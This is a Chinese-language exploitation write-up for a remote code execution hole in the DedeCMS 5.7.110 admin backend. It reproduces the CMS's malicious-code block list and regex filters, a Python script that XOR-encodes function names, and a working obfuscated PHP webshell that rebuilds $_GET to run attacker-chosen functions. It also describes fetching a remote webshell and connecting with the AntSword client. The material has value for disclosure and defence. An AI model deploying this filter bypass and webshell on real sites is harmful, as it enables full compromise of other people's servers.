织梦CMS V5.7.110 远程代码执行

0x01 环境搭建

织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。

源码下载地址:https://updatenew.dedecms.com/base-v57/package/patch-v57sp2&v57sp1&v57-20230630.zip

image-20230913234814380

下载源码后,将upload文件夹放入WWW目录下,使用 phpstudy 开启 Web 服务。

复现环境:Windows 10 PHP5.6.9

0x02 测试脆弱点

进后台查看一下上传点,规定了上传文件的格式。

image-20230914155756959

先制作一个图片马,txt 里面写入一句话。把一句话加到底部。

1
cat test.txt >> images.jpg

先上传一下试试。发现被拦截了,给了一个报错DedeCMS提示:当前页面中存在恶意代码!

应该是对上传文件的内容进行检测。

image-20230914160742274

那再看看有什么可以利用的,这里发现下面有一个文件管理器,里面可以对文件进行操作

image-20230914164812349

直接在下面新建一个文件,随便写点内容,发现可以直接改后缀名,改成 PHP 试试。

image-20230914165404124

保存成功,点击还可以访问。

image-20230914165521513

目前肯定的是,改名功能不会限制文件名后缀,上传个一句话试试。被拦截掉了,应该还是之前的文件内容检测。

image-20230914165703676

0x03 源码审计

直接搜索DedeCMS提示:当前页面中存在恶意代码!这段代码重复率比较高,应该是在不同位置都进行了内容检测,代码逻辑都是一样的,选一个看看,进入dede/tpl.php

发现织梦CMS确实在这块做了内容检测,检测主要分为两个方面:关键字禁用和正则过滤。

定义禁止使用的函数和全局变量列表:这段代码首先定义了一个名为 $cfg_disable_funs 的全局变量,用于存储一组被禁止使用的 PHP 函数和全局变量。这些函数和变量包括一些可能被用于执行恶意代码的敏感函数和全局变量,如 evalexec$_GET$_POST 等。然后,代码通过 foreach 循环遍历 $cfg_disable_funs 中的每个函数或全局变量名称。在每次循环中,它会使用正则表达式检查输入字符串 $content 中是否包含禁用的函数或全局变量。如果检测到任何禁用的函数或全局变量,会终止程序并发出提示。

1
2
3
4
5
6
7
8
9
10
11
12
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

如果没有触发上面的关键字,就会进入正则过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[\\\\][x][0-9]+#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

第一个 preg_match 检测

  • 正则表达式 #^[\s\S]+<\?(php|=)?[\s]+#i 用于检测是否存在 PHP 开始标记 <?<?php 之后的空格字符。
  • 如果正则表达式匹配成功(即返回 TRUE),表示输入字符串 $content 中包含了 PHP 代码的开头。
  • 在这种情况下,代码会进一步检查后续的正则表达式来查找可能的恶意代码。

如果文件中存在 PHP 标记的头部信息,就会进入下面的正则判断。

第二个 preg_match 检测

  • 正则表达式 #[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU 用于检测是否存在 PHP 变量后面紧跟着括号和分号的模式。
  • 这个模式可能表示函数调用,如 $variable()$_POST['variable']()
  • 如果正则表达式匹配成功,表示输入字符串 $content 中包含了类似函数调用的模式,可能是恶意代码。
  • 在这种情况下,代码会对 $content 进行 HTML 转义,并终止脚本执行,并输出存在恶意代码。

这个正则过滤了常规的一句话木马结构以及混淆方式。

第三个 preg_match 检测

  • 正则表达式 #[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU 用于检测是否存在 @ 符号、PHP 变量后面跟着括号的模式。
  • 这个模式可能表示函数调用,其中 @ 表示抑制错误报告。
  • 如果正则表达式匹配成功,表示输入字符串 $content 中包含了可能的抑制错误的函数调用模式,可能是恶意代码。
  • 在这种情况下,代码会对 $content 进行 HTML 转义,并终止脚本执行,并输出存在恶意代码。

屏蔽带@的情况。

第四个 preg_match 检测

  • 正则表达式 #[`][\s\S]*[`]#i用于检测是否存在反引号包围的内容,通常用于执行系统命令。
  • 如果正则表达式匹配成功,表示输入字符串 $content 中包含了反引号包围的内容,可能是用于执行系统命令的恶意代码。
  • 在这种情况下,代码会对 $content 进行 HTML 转义,并终止脚本执行,并输出存在恶意代码。

屏蔽反引号的命令执行代码。

0x04 绕过

上面把常规的命令执行函数和组合规则都屏蔽掉了,只能利用 PHP 的一些特性进行绕过,想起之前 CTF 里面用过的绕过方法。使用异或去组合单词。

在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。其实也就是在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。

使用脚本转换一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import random

def random_keys(len):
# 生成随机len长的字符串
str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))

def random_var(len):
# 生成随机变量名
str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))

def xor(c1,c2):
# 字符亦或,返回16进制
return hex(ord(c1)^ord(c2)).replace('0x',r"\x")


def generate(target):
key = random_keys(len(target))
func_line = ''
call = '$target='
for i in range(0,len(target)):
enc = xor(target[i],key[i])
var = random_var(3)
func_line += f'$_{var}="{key[i]}"^"{enc}";'
func_line += '\n'
call += '$_%s.' % var
call = call.rstrip('.') + ';'
print(func_line)
print(call)

if __name__ == '__main__':
target = input('input target to generate:\r\n') # array_uintersect_uassoc
generate(target)

转换_GET字符。

image-20230914173118653

使用下面的语句试试。就是使用 GET 接收两个参数,funcshell分别对应函数和执行的命令。

1
2
3
4
5
6
7
8
<?
$_iCE="f"^"\x39";
$_kVv="H"^"\xf";
$_UIM="F"^"\x3";
$_kKH="l"^"\x38";

$get=$_iCE.$_kVv.$_UIM.$_kKH;
${$get}['func'](${$get}['shell']); //$_GET['func']($_GET['shell']);

访问一下http://10.211.55.3/dede/uploads/test.php?func=assert&shell=phpinfo();成功进行命令执行。

image-20230914181344443

那可不可以不直接写入一句话木马,而是远程下载木马。

写一个一句话木马并开启 HTTP 服务。

image-20230914220815836

新建一个文件使用copy命令远程下载。

image-20230914220843997

刷新一下,文件成功被下载

image-20230914220927971

使用蚁剑成功连接。

image-20230914221128586

0x05 参考

https://blog.51cto.com/u_15400016/4288120